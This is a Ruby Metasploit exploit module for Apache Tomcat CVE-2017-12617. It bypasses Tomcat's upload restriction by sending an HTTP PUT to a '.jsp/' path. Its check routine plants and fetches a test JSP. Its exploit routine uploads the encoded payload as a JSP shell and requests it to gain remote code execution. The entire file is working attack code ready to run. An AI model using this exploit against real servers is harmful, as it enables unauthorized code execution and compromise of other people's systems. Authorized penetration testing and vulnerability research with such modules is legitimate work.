Brendan Coles
119 lines
3.1 KiB
Ruby
119 lines
3.1 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'Tomcat RCE via JSP Upload Bypass',
|
|
'Description' => %q{
|
|
This module uses a PUT request bypass to upload a jsp shell to a vulnerable Apache Tomcat configuration.
|
|
},
|
|
'Author' => 'peewpw',
|
|
'License' => MSF_LICENSE,
|
|
'References' => [
|
|
[ 'CVE', '2017-12617' ],
|
|
[ 'URL', 'https://bz.apache.org/bugzilla/show_bug.cgi?id=61542' ],
|
|
[ 'EDB', '42966' ]
|
|
],
|
|
'Privileged' => false,
|
|
'Platform' => %w[linux win], # others?
|
|
'Targets' => [
|
|
[
|
|
'Automatic',
|
|
{
|
|
'Arch' => ARCH_JAVA,
|
|
'Platform' => 'win'
|
|
}
|
|
],
|
|
[
|
|
'Java Windows',
|
|
{
|
|
'Arch' => ARCH_JAVA,
|
|
'Platform' => 'win'
|
|
}
|
|
],
|
|
[
|
|
'Java Linux',
|
|
{
|
|
'Arch' => ARCH_JAVA,
|
|
'Platform' => 'linux'
|
|
}
|
|
]
|
|
],
|
|
'DisclosureDate' => '2017-10-03',
|
|
'DefaultTarget' => 0,
|
|
'Notes' => {
|
|
'Stability' => [CRASH_SAFE],
|
|
'Reliability' => [REPEATABLE_SESSION],
|
|
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
|
|
}
|
|
)
|
|
)
|
|
|
|
register_options([
|
|
OptString.new('TARGETURI', [true, 'The URI path of the Tomcat installation', '/']),
|
|
Opt::RPORT(8080)
|
|
])
|
|
end
|
|
|
|
def check
|
|
testurl = Rex::Text.rand_text_alpha(10)
|
|
testcontent = Rex::Text.rand_text_alpha(10)
|
|
|
|
send_request_cgi({
|
|
'uri' => normalize_uri(target_uri.path, "#{testurl}.jsp/"),
|
|
'method' => 'PUT',
|
|
'data' => "<% out.println(\"#{testcontent}\");%>"
|
|
})
|
|
|
|
res1 = send_request_cgi({
|
|
'uri' => normalize_uri(target_uri.path, "#{testurl}.jsp"),
|
|
'method' => 'GET'
|
|
})
|
|
|
|
if res1 && res1.body.include?(testcontent)
|
|
send_request_cgi(
|
|
'uri' => normalize_uri(target_uri.path, "#{testurl}.jsp/"),
|
|
'method' => 'DELETE'
|
|
)
|
|
return Exploit::CheckCode::Vulnerable
|
|
end
|
|
|
|
Exploit::CheckCode::Safe
|
|
end
|
|
|
|
def exploit
|
|
print_status('Uploading payload...')
|
|
testurl = Rex::Text.rand_text_alpha(10)
|
|
|
|
res = send_request_cgi({
|
|
'uri' => normalize_uri(target_uri.path, "#{testurl}.jsp/"),
|
|
'method' => 'PUT',
|
|
'data' => payload.encoded
|
|
})
|
|
if res && res.code == 201
|
|
res1 = send_request_cgi({
|
|
'uri' => normalize_uri(target_uri.path, "#{testurl}.jsp"),
|
|
'method' => 'GET'
|
|
})
|
|
if res1 && res1.code == 200
|
|
print_status('Payload executed!')
|
|
else
|
|
fail_with(Failure::PayloadFailed, 'Failed to execute the payload')
|
|
end
|
|
else
|
|
fail_with(Failure::UnexpectedReply, 'Failed to upload the payload')
|
|
end
|
|
end
|
|
|
|
end
|